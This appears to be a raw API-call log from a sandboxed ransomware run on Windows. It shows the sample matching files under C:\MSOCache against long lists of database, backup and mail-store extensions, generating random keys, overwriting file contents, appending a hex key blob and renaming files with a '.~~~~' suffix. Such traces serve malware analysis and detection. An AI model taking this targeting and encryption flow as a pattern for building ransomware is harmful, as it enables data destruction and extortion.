	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".dbt") returned 0x0
	[0076.605] lstrlenW (lpString=".db") returned 3
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".db") returned 0x0
	[0076.605] lstrlenW (lpString=".TXT") returned 4
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".TXT") returned 0x0
	[0076.605] lstrlenW (lpString=".MDF") returned 4
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".MDF") returned 0x0
	[0076.605] lstrlenW (lpString=".bdb") returned 4
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".bdb") returned 0x0
	[0076.605] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.605] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.605] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a00d0) returned 1
	[0076.606] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.606] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.606] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19659632267) returned 1
	[0076.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97900470, dwHighDateTime=0x1d60e1e)) 
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3648
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3648 | out: hHeap=0x300000) returned 1
	[0076.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.607] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.607] GetLastError () returned 0x0
	[0076.607] GetLastError () returned 0x0
	[0076.607] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.607] GetLastError () returned 0x0
	[0076.607] GetLastError () returned 0x0
	[0076.608] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.675] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0076.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.679] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.726] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.726] CloseHandle (hObject=0x130) returned 1
	[0076.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0076.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.~~~~")) returned 1
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.727] GetLastError () returned 0x0
	[0076.727] RtlWakeConditionVariable () returned 0x365f70
	[0076.727] GetCurrentThreadId () returned 0x9cc
	[0076.727] GetCurrentThreadId () returned 0x9cc
	[0076.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38b0 | out: hHeap=0x300000) returned 1
	[0076.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa700
	[0076.727] lstrlenW (lpString=".scr") returned 4
	[0076.727] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".scr") returned 0x0
	[0076.727] lstrlenW (lpString=".cmd") returned 4
	[0076.727] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".cmd") returned 0x0
	[0076.727] lstrlenW (lpString=".dll") returned 4
	[0076.727] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".dll") returned=".dll"
	[0076.727] lstrlenW (lpString=".dll") returned 4
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0076.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.727] RtlWakeConditionVariable () returned 0x365f70
	[0076.728] GetCurrentThreadId () returned 0x9cc
	[0076.728] GetCurrentThreadId () returned 0x9cc
	[0076.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0076.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac318 | out: hHeap=0x300000) returned 1
	[0076.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38e8 | out: hHeap=0x300000) returned 1
	[0076.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0076.728] lstrlenW (lpString=".scr") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".scr") returned 0x0
	[0076.728] lstrlenW (lpString=".cmd") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cmd") returned 0x0
	[0076.728] lstrlenW (lpString=".dll") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dll") returned 0x0
	[0076.728] lstrlenW (lpString=".bat") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bat") returned 0x0
	[0076.728] lstrlenW (lpString=".cpl") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cpl") returned 0x0
	[0076.728] lstrlenW (lpString=".sys") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sys") returned 0x0
	[0076.728] lstrlenW (lpString=".msc") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msc") returned 0x0
	[0076.728] lstrlenW (lpString=".com") returned 4
	[0076.728] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".com") returned 0x0
	[0076.728] lstrlenW (lpString=".lnk") returned 4
	[0076.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".lnk") returned 0x0
	[0076.729] lstrlenW (lpString=".msp") returned 4
	[0076.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msp") returned 0x0
	[0076.729] lstrlenW (lpString=".pif") returned 4
	[0076.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pif") returned 0x0
	[0076.729] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch="msp\r\n.pif") returned 0x0
	[0076.729] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.857] lstrlenW (lpString=".sqb") returned 4
	[0076.857] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sqb") returned 0x0
	[0076.858] lstrlenW (lpString=".ost") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ost") returned 0x0
	[0076.858] lstrlenW (lpString=".txt") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0
	[0076.858] lstrlenW (lpString=".mdt") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdt") returned 0x0
	[0076.858] lstrlenW (lpString=".BDB") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BDB") returned 0x0
	[0076.858] lstrlenW (lpString=".eql") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".eql") returned 0x0
	[0076.858] lstrlenW (lpString=".DBF") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBF") returned 0x0
	[0076.858] lstrlenW (lpString=".EQL") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EQL") returned 0x0
	[0076.858] lstrlenW (lpString=".FDB") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".FDB") returned 0x0
	[0076.858] lstrlenW (lpString=".EDB") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EDB") returned 0x0
	[0076.858] lstrlenW (lpString=".DACPAC") returned 7
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DACPAC") returned 0x0
	[0076.858] lstrlenW (lpString=".VHD") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHD") returned 0x0
	[0076.858] lstrlenW (lpString=".DBV") returned 4
	[0076.858] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBV") returned 0x0
	[0076.858] lstrlenW (lpString=".dacpac") returned 7
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dacpac") returned 0x0
	[0076.859] lstrlenW (lpString=".sdf") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sdf") returned 0x0
	[0076.859] lstrlenW (lpString=".accdb") returned 6
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".accdb") returned 0x0
	[0076.859] lstrlenW (lpString=".DBX") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBX") returned 0x0
	[0076.859] lstrlenW (lpString=".MDT") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDT") returned 0x0
	[0076.859] lstrlenW (lpString=".SQB") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQB") returned 0x0
	[0076.859] lstrlenW (lpString=".vhd") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhd") returned 0x0
	[0076.859] lstrlenW (lpString=".bac") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bac") returned 0x0
	[0076.859] lstrlenW (lpString=".mdf") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdf") returned 0x0
	[0076.859] lstrlenW (lpString=".BAK") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAK") returned 0x0
	[0076.859] lstrlenW (lpString=".BAC") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAC") returned 0x0
	[0076.859] lstrlenW (lpString=".dbs") returned 4
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbs") returned 0x0
	[0076.859] lstrlenW (lpString=".vhdx") returned 5
	[0076.859] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhdx") returned 0x0
	[0076.860] lstrlenW (lpString=".NDF") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".NDF") returned 0x0
	[0076.860] lstrlenW (lpString=".dat") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dat") returned 0x0
	[0076.860] lstrlenW (lpString=".DBS") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBS") returned 0x0
	[0076.860] lstrlenW (lpString=".CKP") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".CKP") returned 0x0
	[0076.860] lstrlenW (lpString=".edb") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".edb") returned 0x0
	[0076.860] lstrlenW (lpString=".PST") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".PST") returned 0x0
	[0076.860] lstrlenW (lpString=".dbf") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbf") returned 0x0
	[0076.860] lstrlenW (lpString=".SQL") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQL") returned 0x0
	[0076.860] lstrlenW (lpString=".pst") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pst") returned 0x0
	[0076.860] lstrlenW (lpString=".dbv") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbv") returned 0x0
	[0076.860] lstrlenW (lpString=".SDF") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SDF") returned 0x0
	[0076.860] lstrlenW (lpString=".dtxs") returned 5
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dtxs") returned 0x0
	[0076.860] lstrlenW (lpString=".db3") returned 4
	[0076.860] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db3") returned 0x0
	[0076.860] lstrlenW (lpString=".OST") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".OST") returned 0x0
	[0076.861] lstrlenW (lpString=".dbx") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbx") returned 0x0
	[0076.861] lstrlenW (lpString=".DB3") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB3") returned 0x0
	[0076.861] lstrlenW (lpString=".DAT") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DAT") returned 0x0
	[0076.861] lstrlenW (lpString=".VHDX") returned 5
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHDX") returned 0x0
	[0076.861] lstrlenW (lpString=".ndf") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ndf") returned 0x0
	[0076.861] lstrlenW (lpString=".DB") returned 3
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB") returned 0x0
	[0076.861] lstrlenW (lpString=".sql") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sql") returned 0x0
	[0076.861] lstrlenW (lpString=".MYD") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MYD") returned 0x0
	[0076.861] lstrlenW (lpString=".DBT") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBT") returned 0x0
	[0076.861] lstrlenW (lpString=".ACCDB") returned 6
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ACCDB") returned 0x0
	[0076.861] lstrlenW (lpString=".fdb") returned 4
	[0076.861] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb") returned 0x0
	[0076.861] lstrlenW (lpString=".bak") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bak") returned 0x0
	[0076.862] lstrlenW (lpString=".myd") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".myd") returned 0x0
	[0076.862] lstrlenW (lpString=".DTXS") returned 5
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DTXS") returned 0x0
	[0076.862] lstrlenW (lpString=".ckp") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ckp") returned 0x0
	[0076.862] lstrlenW (lpString=".dbt") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbt") returned 0x0
	[0076.862] lstrlenW (lpString=".db") returned 3
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db") returned 0x0
	[0076.862] lstrlenW (lpString=".TXT") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".TXT") returned 0x0
	[0076.862] lstrlenW (lpString=".MDF") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDF") returned 0x0
